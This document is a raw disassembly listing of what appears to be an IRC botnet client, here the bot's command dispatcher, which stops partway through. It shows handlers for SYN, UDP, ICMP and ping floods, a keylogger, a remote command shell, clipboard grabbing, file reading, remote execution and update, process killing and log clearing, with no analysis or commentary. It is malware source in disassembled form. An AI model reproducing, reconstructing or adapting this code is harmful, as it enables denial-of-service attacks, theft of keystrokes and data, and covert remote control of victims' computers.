offset aSynFlood ; "Syn flood" push offset aSyn_0 ; "[SYN]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403DCC: ; CODE XREF: seg000:00403DB2j push edi push offset aUdpstop ; "udpstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403DF5 push dword ptr [ebp+esi-90h] push 17h push offset aUdpFlood ; "UDP flood" push offset aUpd ; "[UPD]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403DF5: ; CODE XREF: seg000:00403DDBj push edi push offset aPingstop ; "pingstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403E1E push dword ptr [ebp+esi-90h] push 16h push offset aPingFlood ; "Ping flood" push offset aPing_0 ; "[PING]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403E1E: ; CODE XREF: seg000:00403E04j push edi push offset aTftpstop ; "tftpstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403E47 push dword ptr [ebp+esi-90h] push 5 push offset aServer_4 ; "Server" push offset aTftp_0 ; "[TFTP]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403E47: ; CODE XREF: seg000:00403E2Dj push edi push offset aProcsstop ; "procsstop" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4081F4 push edi push offset aPsstop ; "psstop" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4081F4 push edi push offset aClonestop ; "clonestop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403E9A push dword ptr [ebp+esi-90h] push 1Fh push offset aClone ; "Clone" push offset aClones ; "[CLONES]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403E9A: ; CODE XREF: seg000:00403E80j push edi push offset aSecurestop ; "securestop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403EC3 push dword ptr [ebp+esi-90h] push 22h push offset aSecure ; "Secure" push offset aSecure_0 ; "[SECURE]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403EC3: ; CODE XREF: seg000:00403EA9j push edi push offset aScanstop ; "scanstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403EEC push dword ptr [ebp+esi-90h] push 0Bh push offset aScan_0 ; "Scan" push offset aScan_1 ; "[SCAN]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403EEC: ; CODE XREF: seg000:00403ED2j push edi push offset aScanstats ; "scanstats" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4081DE push edi push offset aStats ; "stats" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4081DE push edi push offset aReconnect ; "reconnect" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4081BD push edi push offset aR ; "r" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4081BD push edi push offset aDisconnect ; "disconnect" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40819B push edi push offset aDc ; "dc" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40819B push edi push offset aQuit_0 ; "quit" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408153 push edi push offset aQ ; "q" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408153 push edi push offset aStatus ; "status" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408115 push edi push offset aS_0 ; "s" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408115 push edi push offset aId ; "id" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4080DE push edi push offset aI_0 ; "i" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4080DE push edi push offset aReboot ; "reboot" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40403A call sub_417BA1 test eax, eax mov eax, offset aMainRebootingS ; "[MAIN]: Rebooting system." jnz short loc_40400C mov eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot system." loc_40400C: ; CODE XREF: seg000:00404005j push eax lea eax, [ebp-2C8h] push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 1Ch jmp loc_4066B9 ; --------------------------------------------------------------------------- loc_40403A: ; CODE XREF: seg000:00403FF7j push edi push offset aThreads ; "threads" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407FED push edi push offset aT ; "t" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407FED push edi push offset aAliases ; "aliases" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407FCD push edi push offset aAl ; "al" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407FCD push edi push offset aLog990 ; "log990" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407EDD push edi push offset aLg909 ; "lg909" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407EDD push edi push offset aClearlog ; "clearlog" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407EC1 push edi push offset aClg ; "clg" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407EC1 push edi push offset aNetinfo ; "netinfo" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407E8A push edi push offset aNi ; "ni" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407E8A push edi push offset aSysinfo ; "sysinfo" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407E5F push edi push offset aSi ; "si" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407E5F push edi push offset aR010m ; "r010m" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407E25 push edi push offset aR010m_0 ; "r010m" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407E25 push edi push offset aProcs ; "procs" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407D02 push edi push offset aPs ; "ps" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407D02 push edi push offset aUptime90 ; "uptime90" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407C7E push edi push offset aUp909 ; "up909" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407C7E push edi push offset aDriveinfo ; "driveinfo" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407C61 push edi push offset aDrv ; "drv" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407C61 push edi push offset aTestdlls ; "testdlls" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407C48 push edi push offset aDll ; "dll" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407C48 push edi push offset aOpencmd ; "opencmd" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407C01 push edi push offset aOcmd ; "ocmd" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407C01 push edi push offset aCmdstop ; "cmdstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40425B push dword ptr [ebp+esi-90h] push 0Ah push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_40425B: ; CODE XREF: seg000:00404241j push edi push offset aWho ; "who" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4042E8 cmp [ebp-8], ebx jnz short loc_40428B push ebx push dword ptr [ebp-4] push offset aLoginList ; "-[Login List]-" push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 14h loc_40428B: ; CODE XREF: seg000:0040426Fj mov edi, [ebp+20h] xor esi, esi loc_404290: ; CODE XREF: seg000:004042D6j cmp [edi], bl lea eax, [edi+1] jnz short loc_40429C mov eax, offset aEmpty ; "<Empty>" loc_40429C: ; CODE XREF: seg000:00404295j push eax push esi lea eax, [ebp-2C8h] push offset aD_S ; "%d. %s" push eax call sub_41D260 push 1 lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40145D add esp, 24h inc esi add edi, 80h cmp esi, 3 jl short loc_404290 push offset aMainLoginListC ; "[MAIN]: Login list complete." loc_4042DD: ; CODE XREF: seg000:004080D9j call sub_4161A7 pop ecx jmp loc_40845F ; --------------------------------------------------------------------------- loc_4042E8: ; CODE XREF: seg000:0040426Aj push edi push offset aGetclip ; "getclip" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407BC0 push edi push offset aGc ; "gc" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407BC0 push edi push offset aFlusharp ; "flusharp" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407B95 push edi push offset aFarp ; "farp" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407B95 push edi push offset aFlushdns ; "flushdns" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407B71 push edi push offset aFdns ; "fdns" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407B71 push edi push offset aCurrentip ; "currentip" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407B34 push edi push offset aCip ; "cip" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407B34 push edi push offset aRloginserver ; "rloginserver" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4079D8 push edi push offset aRlogin ; "rlogin" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4079D8 push edi push offset aHttpserver ; "httpserver" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407862 push edi push offset aHttp ; "http" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407862 push edi push offset aTftpserver ; "tftpserver" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407716 push edi push offset aTftp ; "tftp" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407716 push edi push offset aScanall ; "scanall" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40741B push edi push offset aVall ; "vall" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40741B mov edi, [ebp+esi-90h] cmp edi, ebx jz loc_403498 push dword ptr [ebp+18h] push offset aNick_0 ; "nick" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407402 push dword ptr [ebp+18h] push offset aN ; "n" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407402 push dword ptr [ebp+18h] push offset aJoin ; "join" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4073E2 push dword ptr [ebp+18h] push offset aJ ; "j" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4073E2 push dword ptr [ebp+18h] push offset aPart_1 ; "part" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4073C9 push dword ptr [ebp+18h] push offset aPt ; "pt" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4073C9 push dword ptr [ebp+18h] push offset aRaw ; "raw" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407392 push dword ptr [ebp+18h] push offset aR_1 ; "r" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407392 push dword ptr [ebp+18h] push offset aKillthread ; "killthread" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4072CF push dword ptr [ebp+18h] push offset aK ; "k" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4072CF push dword ptr [ebp+18h] push offset aC_quit ; "c_quit" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407224 push dword ptr [ebp+18h] push offset aC_q ; "c_q" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407224 push dword ptr [ebp+18h] push offset aC_rndnick ; "c_rndnick" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4071CD push dword ptr [ebp+18h] push offset aC_rn ; "c_rn" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4071CD push dword ptr [ebp+18h] push offset aPrefix ; "prefix" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4071B8 push dword ptr [ebp+18h] push offset aPr ; "pr" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4071B8 push dword ptr [ebp+18h] push offset aOpen ; "open" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40718E push dword ptr [ebp+18h] push offset aO ; "o" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40718E push dword ptr [ebp+18h] push offset aServer ; "server" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407169 push dword ptr [ebp+18h] push offset aSe ; "se" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407169 push dword ptr [ebp+18h] push offset aDns ; "dns" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4070F3 push dword ptr [ebp+18h] push offset aDn ; "dn" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4070F3 push dword ptr [ebp+18h] push offset aKillproc ; "killproc" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4070C7 push dword ptr [ebp+18h] push offset aKp ; "kp" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4070C7 push dword ptr [ebp+18h] push offset aKill ; "kill" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40706C push dword ptr [ebp+18h] push offset aKi ; "ki" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40706C push dword ptr [ebp+18h] push offset aDelete ; "delete" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407035 push dword ptr [ebp+18h] push offset aDel ; "del" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_407035 push dword ptr [ebp+18h] push offset aList ; "list" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40701A push dword ptr [ebp+18h] push offset aLi ; "li" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40701A push dword ptr [ebp+18h] push offset aMirccmd ; "mirccmd" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406FDF push dword ptr [ebp+18h] push offset aMirc ; "mirc" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406FDF push dword ptr [ebp+18h] push offset aCmd_0 ; "cmd" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406F94 push dword ptr [ebp+18h] push offset aCm ; "cm" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406F94 push dword ptr [ebp+18h] push offset aReadfile ; "readfile" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406F0F push dword ptr [ebp+18h] push offset aRf ; "rf" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406F0F push dword ptr [ebp+18h] push offset aIdent ; "ident" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_404856 push edi push offset aOn ; "on" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40481E push 2 call sub_408F87 test eax, eax pop ecx jle short loc_4047C1 push offset aIdentAlreadyRu ; "[IDENT]: Already running." jmp loc_407727 ; --------------------------------------------------------------------------- loc_4047C1: ; CODE XREF: seg000:004047B5j lea eax, [ebp-2C8h] push offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113." push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 2 push eax call sub_408D3F add esp, 14h mov esi, eax lea eax, [ebp-10h] push eax push ebx push esi push offset sub_411539 push ebx push ebx call ds:dword_4F131C ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_4523CC[esi], eax jnz loc_406698 call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"... jmp loc_4083DC ; --------------------------------------------------------------------------- loc_40481E: ; CODE XREF: seg000:004047A9j push edi push offset aOff ; "off" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_406698 push ebx push 2 call sub_408F3A pop ecx cmp eax, ebx pop ecx jle short loc_40484C push eax push offset aIdentServerSto ; "[IDENT]: Server stopped. (%d thread(s) "... jmp loc_4083DC ; --------------------------------------------------------------------------- loc_40484C: ; CODE XREF: seg000:0040483Fj push offset aIdentNoThreadF ; "[IDENT]: No thread found." jmp loc_407727 ; --------------------------------------------------------------------------- loc_404856: ; CODE XREF: seg000:00404794j push dword ptr [ebp+18h] push offset aKeylog ; "keylog" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_4049CD push edi push offset aOn_0 ; "on" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4048C7 push edi push offset aFile ; "file" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4048C7 push edi push offset aOff_0 ; "off" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_406698 push ebx push 23h call sub_408F3A pop ecx cmp eax, ebx pop ecx jle short loc_4048BD push eax push offset aKeylogKeyLogge ; "[KEYLOG]: Key logger stopped. (%d threa"... jmp loc_4083DC ; --------------------------------------------------------------------------- loc_4048BD: ; CODE XREF: seg000:004048B0j push offset aKeylogNoKeyLog ; "[KEYLOG]: No key logger thread found." jmp loc_407727 ; --------------------------------------------------------------------------- loc_4048C7: ; CODE XREF: seg000:0040487Cj ; seg000:0040488Dj push 23h call sub_408F87 test eax, eax pop ecx jle short loc_4048DD push offset aKeylogAlreadyR ; "[KEYLOG]: Already running." jmp loc_407727 ; --------------------------------------------------------------------------- loc_4048DD: ; CODE XREF: seg000:004048D1j mov eax, [ebp+0Ch] push edi mov [ebp-4DCh], eax mov eax, [ebp-4] push offset aFile_0 ; "file" mov [ebp-454h], eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40490C mov dword ptr [ebp-450h], 1 jmp short loc_404915 ; --------------------------------------------------------------------------- loc_40490C: ; CODE XREF: seg000:004048FEj mov eax, [ebp-8] mov [ebp-450h], eax loc_404915: ; CODE XREF: seg000:0040490Aj mov esi, [ebp+esi-8Ch] cmp esi, ebx jnz short loc_40493C mov esi, offset a143_0 ; "#143#" push offset dword_4DF354 push esi call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40493C mov esi, [ebp-8Ch] loc_40493C: ; CODE XREF: seg000:0040491Ej ; seg000:00404934j push esi lea eax, [ebp-4D4h] push 80h push eax call sub_41D360 lea eax, [ebp-2C8h] push offset aKeylogKeyLog_0 ; "[KEYLOG]: Key logger active." push eax call sub_41D260 push ebx lea eax, [ebp-2C8h] push 23h push eax call sub_408D3F add esp, 20h mov [ebp-4D8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4DCh] push ebx push eax push offset sub_413061 push ebx push ebx call ds:dword_4F131C ; CreateThread mov ecx, [ebp-4D8h] imul ecx, 234h cmp eax, ebx mov ds:dword_4523CC[ecx], eax jz short loc_4049BC loc_4049A6: ; CODE XREF: seg000:004049BAj cmp [ebp-44Ch], ebx jnz loc_406698 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_4049A6 ; --------------------------------------------------------------------------- loc_4049BC: ; CODE XREF: seg000:004049A4j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset aKeylogFailedTo ; "[KEYLOG]: Failed to start logging threa"... jmp loc_4083DC ; --------------------------------------------------------------------------- loc_4049CD: ; CODE XREF: seg000:00404867j push dword ptr [ebp+18h] push offset aNet ; "net" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_404CB9 cmp ds:dword_4515C0, ebx jz short loc_4049FE cmp ds:dword_4515E8, ebx jz short loc_4049FE push offset aNetFailedToLoa ; "[NET]: Failed to load advapi32.dll or n"... jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_4049FE: ; CODE XREF: seg000:004049EAj ; seg000:004049F2j cmp [ebp-0Ch], ebx jz loc_4068F2 mov eax, [ebp+esi-8Ch] mov [ebp+8], ebx cmp eax, ebx mov [ebp+20h], eax jz short loc_404A26 push eax push dword ptr [ebp-0Ch] call sub_41DBE0 pop ecx mov [ebp+8], eax pop ecx loc_404A26: ; CODE XREF: seg000:00404A16j push edi push offset aStart ; "start" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_404A8C cmp [ebp+20h], ebx jz short loc_404A60 push dword ptr [ebp+8] push 3 call sub_41805B push eax push offset aS_1 ; "%s" loc_404A4C: ; CODE XREF: seg000:00404AADj ; seg000:00404AD0j ... lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 14h jmp loc_4068F2 ; --------------------------------------------------------------------------- loc_404A60: ; CODE XREF: seg000:00404A3Aj push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_418302 add esp, 0Ch test eax, eax jz short loc_404A82 push offset aNetServiceList ; "[NET]: Service list completed." jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_404A82: ; CODE XREF: seg000:00404A76j push offset aNetServiceLi_0 ; "[NET]: Service list failed." jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_404A8C: ; CODE XREF: seg000:00404A35j push edi push offset aStop ; "stop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_404AAF push dword ptr [ebp+8] push 4 call sub_41805B push eax push offset aS_2 ; "%s" jmp short loc_404A4C ; --------------------------------------------------------------------------- loc_404AAF: ; CODE XREF: seg000:00404A9Bj push edi push offset aPause ; "pause" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_404AD5 push dword ptr [ebp+8] push 5 call sub_41805B push eax push offset aS_3 ; "%s" jmp loc_404A4C ; --------------------------------------------------------------------------- loc_404AD5: ; CODE XREF: seg000:00404ABEj push edi push offset aContinue ; "continue" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_404AFB push dword ptr [ebp+8] push 6 call sub_41805B push eax push offset aS_4 ; "%s" jmp loc_404A4C ; --------------------------------------------------------------------------- loc_404AFB: ; CODE XREF: seg000:00404AE4j push edi push offset aDelete_0 ; "delete" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_404B21 push dword ptr [ebp+8] push 1 call sub_41805B push eax push offset aS_5 ; "%s" jmp loc_404A4C ; --------------------------------------------------------------------------- loc_404B21: ; CODE XREF: seg000:00404B0Aj push edi push offset aShare ; "share" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_404BA9 cmp [ebp+20h], ebx jz short loc_404B7C cmp [ebp-9B0h], bl jz short loc_404B52 push ebx push dword ptr [ebp+20h] push 1 call sub_41843F push eax push offset aS_6 ; "%s" jmp short loc_404B68 ; --------------------------------------------------------------------------- loc_404B52: ; CODE XREF: seg000:00404B3Dj push dword ptr [ebp+esi-88h] push dword ptr [ebp+20h] push ebx call sub_41843F push eax push offset aS_7 ; "%s" loc_404B68: ; CODE XREF: seg000:00404B50j lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 18h jmp loc_4068F2 ; --------------------------------------------------------------------------- loc_404B7C: ; CODE XREF: seg000:00404B35j push ebx push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_418634 add esp, 10h test eax, eax jz short loc_404B9F push offset aNetShareListCo ; "[NET]: Share list completed." jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_404B9F: ; CODE XREF: seg000:00404B93j push offset aNetShareListFa ; "[NET]: Share list failed." jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_404BA9: ; CODE XREF: seg000:00404B30j push edi push offset aUser ; "user" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_404C61 mov eax, [ebp+20h] cmp eax, ebx jz short loc_404C34 cmp [ebp-9B0h], bl jz short loc_404BEA push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push ebx push eax push 1 call sub_418755 push eax push offset aS_8 ; "%s" jmp short loc_404C20 ; --------------------------------------------------------------------------- loc_404BEA: ; CODE XREF: seg000:00404BCBj push dword ptr [ebp-4] mov esi, [ebp+esi-88h] cmp esi, ebx push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] jz short loc_404C11 push esi push eax push ebx call sub_418755 push eax push offset aS_9 ; "%s" jmp short loc_404C20 ; --------------------------------------------------------------------------- loc_404C11: ; CODE XREF: seg000:00404BFFj push ebx push eax push 2 call sub_418755 push eax push offset aS_10 ; "%s" loc_404C20: ; CODE XREF: seg000:00404BE8j ; seg000:00404C0Fj lea eax, [ebp-2C8h] push eax call sub_41D260 add esp, 24h jmp loc_4068F2 ; --------------------------------------------------------------------------- loc_404C34: ; CODE XREF: seg000:00404BC3j push ebx push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_418C69 add esp, 10h test eax, eax jz short loc_404C57 push offset aNetUserListCom ; "[NET]: User list completed." jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_404C57: ; CODE XREF: seg000:00404C4Bj push offset aNetUserListFai ; "[NET]: User list failed." jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_404C61: ; CODE XREF: seg000:00404BB8j push edi push offset aSend_0 ; "send" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_404CAF cmp [ebp+20h], ebx jz short loc_404CA5 push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call loc_418F1D push eax lea eax, [ebp-2C8h] push offset aS_11 ; "%s" push eax call sub_41D260 add esp, 1Ch jmp loc_4068F2 ; --------------------------------------------------------------------------- loc_404CA5: ; CODE XREF: seg000:00404C75j push offset aNetNoMessageSp ; "[NET]: No message specified." jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_404CAF: ; CODE XREF: seg000:00404C70j push offset aNetCommandUnkn ; "[NET]: Command unknown." jmp loc_4068E4 ; --------------------------------------------------------------------------- loc_404CB9: ; CODE XREF: seg000:004049DEj push dword ptr [ebp+18h] push offset aGethost ; "gethost" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406E2B push dword ptr [ebp+18h] push offset aGh ; "gh" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406E2B mov eax, [ebp+esi-8Ch] cmp eax, ebx mov [ebp+20h], eax jz loc_403498 push dword ptr [ebp+18h] push offset aAddalias ; "addalias" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406DEC push dword ptr [ebp+18h] push offset aAa ; "aa" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406DEC push dword ptr [ebp+18h] push offset aPrivmsg_2 ; "privmsg" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406D99 push dword ptr [ebp+18h] push offset aPm ; "pm" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406D99 push dword ptr [ebp+18h] push offset aAction ; "action" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406D2B push dword ptr [ebp+18h] push offset aA ; "a" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406D2B push dword ptr [ebp+18h] push offset aCycle ; "cycle" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406CC8 push dword ptr [ebp+18h] push offset aCy ; "cy" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406CC8 push dword ptr [ebp+18h] push offset aMode ; "mode" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406C89 push dword ptr [ebp+18h] push offset aM ; "m" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406C89 push dword ptr [ebp+18h] push offset aC_raw ; "c_raw" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406C1E push dword ptr [ebp+18h] push offset aC_r ; "c_r" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406C1E push dword ptr [ebp+18h] push offset aC_mode ; "c_mode" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406B9C push dword ptr [ebp+18h] push offset aC_m ; "c_m" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406B9C push dword ptr [ebp+18h] push offset aC_nick ; "c_nick" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406B2B push dword ptr [ebp+18h] push offset aC_n ; "c_n" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406B2B push dword ptr [ebp+18h] push offset aC_join ; "c_join" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406ADF push dword ptr [ebp+18h] push offset aC_j ; "c_j" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406ADF push dword ptr [ebp+18h] push offset aC_part ; "c_part" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406A7C push dword ptr [ebp+18h] push offset aC_p ; "c_p" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406A7C push dword ptr [ebp+18h] push offset aRepeat ; "repeat" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4069B6 push dword ptr [ebp+18h] push offset aRp ; "rp" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4069B6 push dword ptr [ebp+18h] push offset aDelay ; "delay" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40691B push dword ptr [ebp+18h] push offset aDe ; "de" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40691B push dword ptr [ebp+18h] push offset aUpdate909 ; "update909" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406763 push dword ptr [ebp+18h] push offset aUp909_0 ; "up909" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406763 push dword ptr [ebp+18h] push offset aExecute ; "execute" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4066D0 push dword ptr [ebp+18h] push offset aE ; "e" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4066D0 push dword ptr [ebp+18h] push offset aRename ; "rename" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40664C push dword ptr [ebp+18h] push offset aMv ; "mv" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40664C push dword ptr [ebp+18h] push offset aIcmpflood ; "icmpflood" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406551 push dword ptr [ebp+18h] push offset aIcmp ; "icmp" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406551 mov eax, [ebp+esi-88h] cmp eax, ebx mov [ebp+8], eax jz loc_403498 push dword ptr [ebp+18h] push offset aClone_0 ; "clone" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406466 push dword ptr [ebp+18h] push offset aC ; "c" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406466 push dword ptr [ebp+18h] push offset aDdos_syn ; "ddos.syn" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406361 push dword ptr [ebp+18h] push offset aUsa_ack ; "usa.ack" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_406361 push dword ptr [ebp+18h] push offset aUsa_ran ; "usa.ran" call sub_41D900 pop ecx 